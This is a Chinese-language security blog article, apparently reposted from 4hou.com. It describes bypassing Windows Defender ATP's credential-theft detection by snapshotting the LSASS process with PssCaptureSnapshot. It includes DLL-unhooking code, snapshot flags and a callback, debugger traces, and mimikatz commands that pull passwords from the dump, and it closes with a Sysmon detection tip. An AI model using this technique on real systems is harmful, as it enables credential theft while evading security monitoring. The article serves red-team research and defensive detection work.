绕过WDATP获取LSASS进程数据
2019-12-16 10:15:04 Author: www.4hou.com(查看原文) 阅读量:236 收藏

导语:最近,我对Windows Defender Advanced Threat Protection(WDATP)如何通过统计探测从LSASS进程中读取的数据量来检测凭证转储产生了浓厚的兴趣。

ser1.png

最近,我对Windows Defender Advanced Threat Protection(WDATP)如何通过统计探测从LSASS进程中读取的数据量来检测凭证转储产生了浓厚的兴趣。

但是,首先需要有一点背景知识:在受WDATP保护的主机上,执行诸如mimikatz之类的标准凭据转储程序时,它会触发如下警报。

1.png

这个警报很可能是由于mimikatz在尝试访问LSASS进程时使用MiniDumpWriteDump触发的,而LSASS进程又使用ReadProcessMemory作为将数据从一个进程地址空间复制到另一个进程地址空间的方法。

接下来,ReadProcoessMemory(RPM)通过NtReadVirtualMemory执行系统调用,该调用将相同的行为复制到内核模式。

— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — —

RPM — > NtReadVirtualMemory --> SYSENTER->NtReadVirtualMemory

Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl

然后,通过检查RPM中的nSize值,我们可以推测WDATP正在监视随时间推移读取的字节数。

BOOL ReadProcessMemory(
  HANDLE  hProcess,
  LPCVOID lpBaseAddress,
  LPVOID  lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesRead
);

综上所述,我设计了几个的绕过进程。

首先,由于WinATP没有使用NtReadVirtualMemory挂钩,因此我们无法利用原始的Dumpert(一个使用直接系统调用和API解除连接的LSASS内存转储器),这意味着,它无法绕过WinATP缓解措施。

然后,我们尝试将取消挂钩的概念作为ReflectiveDLLRefresher技术扩展到所有其他已加载的DLL,这也导致找不到相关的挂钩。尽管最终失败了,但是这个想法却非常具有启发性。

最终,我重新考虑了整个问题,并决定采取另外一种方法,即通过PssCaptureSnapshot API访问LSASS的过程句柄,我们成功地绕过了WDATP凭据防盗器。

很快就会知道为什么会这样,但首先让我们来看看我们失败的细节,这种尝试令人大开眼界。

我们不会从头开始构建整个过程,而是利用著名的dumpert代码库

其中,我们追求的第一种方法已由Cylance漏洞研究团队进行了探索和开发,详情请点此。这是一个相当复杂但非常有效的工具,可用于扫描进程的内存空间并取消当前正在运行的所有库。

我们已将所有相关且最有趣的代码段导入到经过修改的Dumpert版本中,仅此一项,就证明了其在防止凭证盗窃防护方面的失败。

该程序将遍历IAT表并搜索所有已加载的DLL,将它们与磁盘版本进行比较,并在运行时修补它们,以防发现挂钩。

以下是相关的代码片段,其中使用了DLL部分比较器。

VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
{
	DWORD ddOldProtect;

	if (memcmp(pKnown, pSuspect, stLength) != 0)
	{
		wprintf(L"\t[!] Found modification in: ");
		printf(szSectionName);
		wprintf(L"\n");

		if (!VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
			return;

		wprintf(L"\t[+] Copying known good section into memory.\n");
		memcpy(pSuspect, pKnown, stLength);

		if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
			wprintf(L"\t[!] Failed to reset memory permissions.\n");
	}
}

但是,在目标Windows10主机上运行它之后,唯一报告的差异如下。

[*] Scanning module: dbghelp.dll
        [!] Found modification in: .mrdata
        [+] Copying known good section into memory.

显然,它与ring3挂钩不太相似。另外,它还驻留在DLL部分中。

现在我们试试另一种绕过方法,利用PssCaptureSnapShot函数的继承功能。顾名思义,此API生成作为第一个参数(在本例中为LSASS)传递的句柄的进程快照转储,并返回SnapshotHandle(HPSS)。

DWORD PssCaptureSnapshot(
  HANDLE            ProcessHandle,
  PSS_CAPTURE_FLAGS CaptureFlags,
  DWORD             ThreadContextFlags,
  HPSS              *SnapshotHandle
);

与PSP API相关的项目代码如下所示:

DWORD CaptureFlags = (DWORD)PSS_CAPTURE_VA_CLONE
                            | PSS_CAPTURE_HANDLES
                            | PSS_CAPTURE_HANDLE_NAME_INFORMATION
                            | PSS_CAPTURE_HANDLE_BASIC_INFORMATION
                            | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
                            | PSS_CAPTURE_HANDLE_TRACE
                            | PSS_CAPTURE_THREADS
                            | PSS_CAPTURE_THREAD_CONTEXT
                            | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
                            | PSS_CREATE_BREAKAWAY
                            | PSS_CREATE_BREAKAWAY_OPTIONAL
                            | PSS_CREATE_USE_VM_ALLOCATIONS
                            | PSS_CREATE_RELEASE_SECTION;


BOOL CALLBACK ATPMiniDumpWriteDumpCallback(
	__in     PVOID CallbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT CallbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
)
{
	switch (CallbackInput->CallbackType)
	{
	case 16: // IsProcessSnapshotCallback
		CallbackOutput->Status = S_FALSE;
		break;
	}
	return TRUE;
}



HANDLE SnapshotHandle;
DWORD dwResultCode = PssCaptureSnapshot (ProcessHandle,
                                         CaptureFlags,
                                         CONTEXT_ALL,
                                         &SnapshotHandle);

当从UserLand动态迁移到KernelMode时,我们还可以探索一下API的有趣结构:

— — — — — -Userland — — — —- — — — — — — — — | — — — Kernel Land — — — — — — 

PssCaptureSnapShot —> PssNtCaptureSnapshot -> SYSENTER -> ntdll!NtAllocateVirtualMemory

Kernel32 — — — — — — — — — — — ntdll — — — — — — — — — - - — ntoskrnl — — —

从用户模式到内核模式并不是实际的一对一转换,但是我们很快就会看到,将调用许多其他内核API。让我们通过WinDBG来更深入地了解调用如何链接在一起。如果我们向KERNEL32询问所有Pss *函数,我们只会得到stub占位符。

0:001> x  KERNEL32!Pss*
00007fff`39fa62d0 KERNEL32!PssQuerySnapshotStub (<no parameter info>)
00007fff`39fa6310 KERNEL32!PssWalkMarkerSeekToBeginningStub (<no parameter info>)
00007fff`39fa6330 KERNEL32!PssWalkSnapshotStub (<no parameter info>)
00007fff`39fa62b0 KERNEL32!PssDuplicateSnapshotStub (<no parameter info>)
00007fff`39fa6300 KERNEL32!PssWalkMarkerGetPositionStub (<no parameter info>)
00007fff`39fa62f0 KERNEL32!PssWalkMarkerFreeStub (<no parameter info>)
00007fff`39fa62e0 KERNEL32!PssWalkMarkerCreateStub (<no parameter info>)
00007fff`39fa62a0 KERNEL32!PssCaptureSnapshotStub (<no parameter info>)
00007fff`39fa6320 KERNEL32!PssWalkMarkerSetPositionStub (<no parameter info>)
00007fff`39fa62c0 KERNEL32!PssFreeSnapshotStub (<no parameter info>)

我们还可以进一步验证我们感兴趣的存根是否指向其他地方:

0:001> u  KERNEL32!PssCaptureSnapshotStub 
KERNEL32!PssCaptureSnapshotStub:
00007fff`39fa62a0 48ff25d9210400  jmp     qword ptr [KERNEL32!_imp_PssCaptureSnapshot (00007fff`39fe8480)]

所以我们在存根的最开始放置一个断点,让它运行,直到我们命中它。

0:001>bp KERNEL32!PssCaptureSnapshotStub 

KERNELBASE!PssCaptureSnapshot:
00007fff`39a95fb0 4883ec28        sub     rsp,28h
00007fff`39a95fb4 49832100        and     qword ptr [r9],0
00007fff`39a95fb8 498bc1          mov     rax,r9
00007fff`39a95fbb 458bc8          mov     r9d,r8d
00007fff`39a95fbe 448bc2          mov     r8d,edx
00007fff`39a95fc1 488bd1          mov     rdx,rcx
00007fff`39a95fc4 488bc8          mov     rcx,rax
00007fff`39a95fc7 48ff1522080d00  call    qword ptr [KERNELBASE!_imp_PssNtCaptureSnapshot (00007fff`39b667f0)] ds:00007fff`39b667f0={ntdll!PssNtCaptureSnapshot (00007fff`3bfd03b0)}

因此,我们可以确认实际函数代码是从ntdll!PssNtCaptureSnapshot到KERNELBASE.dll的附加间接层运行的。RDX是保存我们的LSASS处理程序的实际寄存器,该寄存器作为参数传递给ntdll!PssNtCaptureSnapshot。

如果尝试进一步跟踪它,我们将进入NTDLL域。

ntdll!PssNtCaptureSnapshot:
00007fff`3bfd03b0 488bc4          mov     rax,rsp
00007fff`3bfd03b3 48895808        mov     qword ptr [rax+8],rbx
00007fff`3bfd03b7 44894820        mov     dword ptr [rax+20h],r9d
00007fff`3bfd03bb 48895010        mov     qword ptr [rax+10h],rdx

要全面了解正在发生的情况,我们可以使用 ‘wt -l 2’ WinDBG命令来获得两级深度的分层函数调用。

0:004> g
Breakpoint 0 hit
ntdll!PssNtCaptureSnapshot:
00007ff8`d53103b0 488bc4          mov     rax,rsp
0:000> wt -l 2
Tracing ntdll!PssNtCaptureSnapshot to return address 00007ff8`d2265fce
   43     0 [  0] ntdll!PssNtCaptureSnapshot
    6     0 [  1]   ntdll!NtAllocateVirtualMemory
   51     6 [  0] ntdll!PssNtCaptureSnapshot
  139     0 [  1]   ntdll!memset
   61   145 [  0] ntdll!PssNtCaptureSnapshot
   18     0 [  1]   ntdll!PsspCaptureProcessInformation
    6     0 [  2]     ntdll!NtQueryInformationProcess
[..]

276577 instructions were executed in 276576 events (0 from other threads)

Function Name                               Invocations MinInst MaxInst AvgInst
ntdll!NtAllocateVirtualMemory                         2       6       6       6
ntdll!NtCreateProcessEx                               1       6       6       6
ntdll!NtCreateSection                                 1       6       6       6
ntdll!NtMapViewOfSection                              1       6       6       6
ntdll!NtQueryInformationProcess                      10       6       6       6
ntdll!PssNtCaptureSnapshot                            1     119     119     119
ntdll!PsspCaptureHandleInformation                    1     109     109     109
ntdll!PsspCaptureHandleTrace                          1      40      40      40
ntdll!PsspCaptureProcessInformation                   1      97      97      97
ntdll!PsspWalkHandleTable                             2   65302  210681  137991
ntdll!memset                                          1     139     139     139

15 system calls were executed

Calls  System Call
    2  ntdll!NtAllocateVirtualMemory
    1  ntdll!NtCreateProcessEx
    1  ntdll!NtCreateSection
    1  ntdll!NtMapViewOfSection
    10  ntdll!NtQueryInformationProcess

毫不奇怪,ntdll!PssNtCaptureSnapshot实际上是在底层分配内存并创建一个新进程,正如我们应该从真正的进程快照程序中期望的那样。

现在,我们可以将先前生成的dumpert.dmp移到另一个框架中,并将其提供给mimikatz以提取凭证。

mimikatz # sekurlsa::minidump dumpert.dmp
Switch to MINIDUMP : 'dumpert.dmp'

mimikatz # sekurlsa::logonPasswords full

既然我们知道可以绕过这个特定的MDATP特性,那么我们如何才能更好地保护我们的运行环境呢?如果在Hyper-V上实现证书保护是不可能的。因此,我的建议是可以通过配置Sysmon监视LSASS并检查每个eventID 10来检测任何密码窃取工具。尽管这可能会产生误报,但这是改善影响身份验证过程的所有事件的全局可见性的好方法。


文章来源: https://www.4hou.com/web/22071.html
如有侵权请联系:admin#unsafe.sh